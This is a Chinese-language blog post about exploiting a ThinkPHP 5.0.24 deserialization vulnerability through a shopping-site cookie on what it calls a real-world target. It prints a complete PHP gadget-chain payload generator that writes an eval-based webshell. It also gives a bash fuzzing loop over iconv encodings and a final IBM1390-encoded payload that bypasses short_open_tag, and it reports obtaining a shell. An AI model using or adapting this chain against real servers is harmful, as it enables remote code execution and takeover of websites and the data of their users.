thinkphp5.0.x反序列化之遇到php开启短标签
前言
这是我实战中第一次遇到的反序列化漏洞并成功利用,该漏洞的触发点是在未登录的用户访问浏览过的商品时会将商品信息序列化后保存在cookie中,所以将cookie[xxxx_goods]的值替换成payload即会触发发序列化,该站使用的tinkphp5.0.24框架,就想着直接从网上找payload打,结果打了半天没成功就很郁闷。
分析为啥没成功
先贴上我找到的payload是这个
php
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];//触发Model __toString(),子类Pivot合适
}
}
namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
}
namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
use think\db\Query;
abstract class OneToOne extends Relation{
}
class HasOne extends OneToOne{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
function __construct(){
$this->bindAttr = ["no","123"];
$this->selfRelation = false;
$this->query = new Query();#class Query
}
}
namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
protected $selfRelation;
protected $query;
function __construct(){
$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->parent = new Output();#Output对象,目的是调用__call()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();
}
}
namespace think\db;#Query
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model = new Output();
}
}
namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->handle = new Memcached();//目的调用其write()
$this->styles = ['getAttr'];
}
}
namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
protected $handler = null;
protected $config = [];
function __construct(){
$this->handler = new File();//目的调用File->set()
$this->config = [
'host' => '127.0.0.1', // memcache主机
'port' => 11211, // memcache端口
'expire' => 3600, // session有效期
'timeout' => 0, // 连接超时时间(单位:毫秒)
'session_name' => '', // memcache key前缀
'username' => '', //账号
'password' => '', //密码
];
}
}
namespace think\cache\driver;#File
class File{
protected $options = [];
protected $tag;
function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./demo/<?cuc cucvasb();riny($_TRG[pzq]);?>',
'data_compress' => false,
];
$this->tag = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
第一个坑
该payload按道理是会在当前目录创建一个<?cuc cucvasb();riny($_TRG[pzq]);?>3b11e4b835d256cc6365eaa91c09a33f.php
,unserialize($payload)没有报一丁点的错误信息,我在本地复现确实可以,可是访问目标站点一直是404实在是百思不得其解。后来看某师傅文章发现model类中$this->parent的属性需要修改为public.猜测是:model子类Pivot中也有该变量parent,属性为public;而基类model的parent为protected,可能导致了没有赋值成功,修改poc后成功解决,经测试PHP5.6、7.0、7.1、7.2可用(应该都行了)
第二个坑
现在使用修改过的payload确实可以生成<?cuc cucvasb();riny($_TRG[pzq]);?>3b11e4b835d256cc6365eaa91c09a33f.php
文件,又遇到了一个新的问题,当我访问该文件时网站报如下错误:
PHP Parse error: syntax error, unexpected 'rkvg' (T_STRING) in /var/www/html/public/<?cuc cucvasb();riny($_TRG[pzq]);?>3b11e4b835d256cc6365eaa91c09a33f.php on line 3
经过查找发现这是因为该网站支持php短标签:short_open_tag = On,悲剧了让我们看看我们写进去的php文件的内容:
因为短标签的支持导致
cuc
//000000000000
rkvg();
被当作php代码来执行,又因为cuc和rkvg中间有空格所以报了上方的错误。
动手修改payload
找到原因了,thinkphp如何生成的payload,我就不分析(好复杂)了,但是写入的文件内容的是由
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>',
这个path
决定,之所以用到rot13过滤器是因为原本写入的文件内容包含exit()
,使用rot13就能将exit()
给bypass。可是现在还要bpass<?
这个字符串。思路是找到其他的过滤器,能够把<?
给转换成不解析的文本,同时又将某种编码的文本转换成php代码。
贴上kali的bash下fuzz语句:
for i in `iconv -l` ; do echo ${i%//};iconv -f utf-8 -t ${i%//} <<< "<?php phpinfo();eval($_POST[1]);?>"|xxd;done
发现IBM1390很合适
通过xxd
可以发现会有一些不可见的字符,问题不大,使用urldecode来写入,最终payload长这样:
'path' => 'php://filter/write=convert.iconv.IBM1390%2fUTF-8/resource='.urldecode('%4c%6f%78%69%78%40%78%69%78%71%76%67%77%4d%5d%5e%66%b5%62%74%4d%e0%6d%d7%d6%e2%e3%70%f1%80%5d%5e%6f%6e%25'),
利用修改后的payload,然后访问http://127.0.0.1/public/%4c%6f%78%69%78%40%78%69%78%71%76%67%77%4d%5d%5e%66%b5%62%74%4d%e0%6d%d7%d6%e2%e3%70%f1%80%5d%5e%6f%6e%253b58a9545013e88c7186db11bb158c44.php
成功getshell.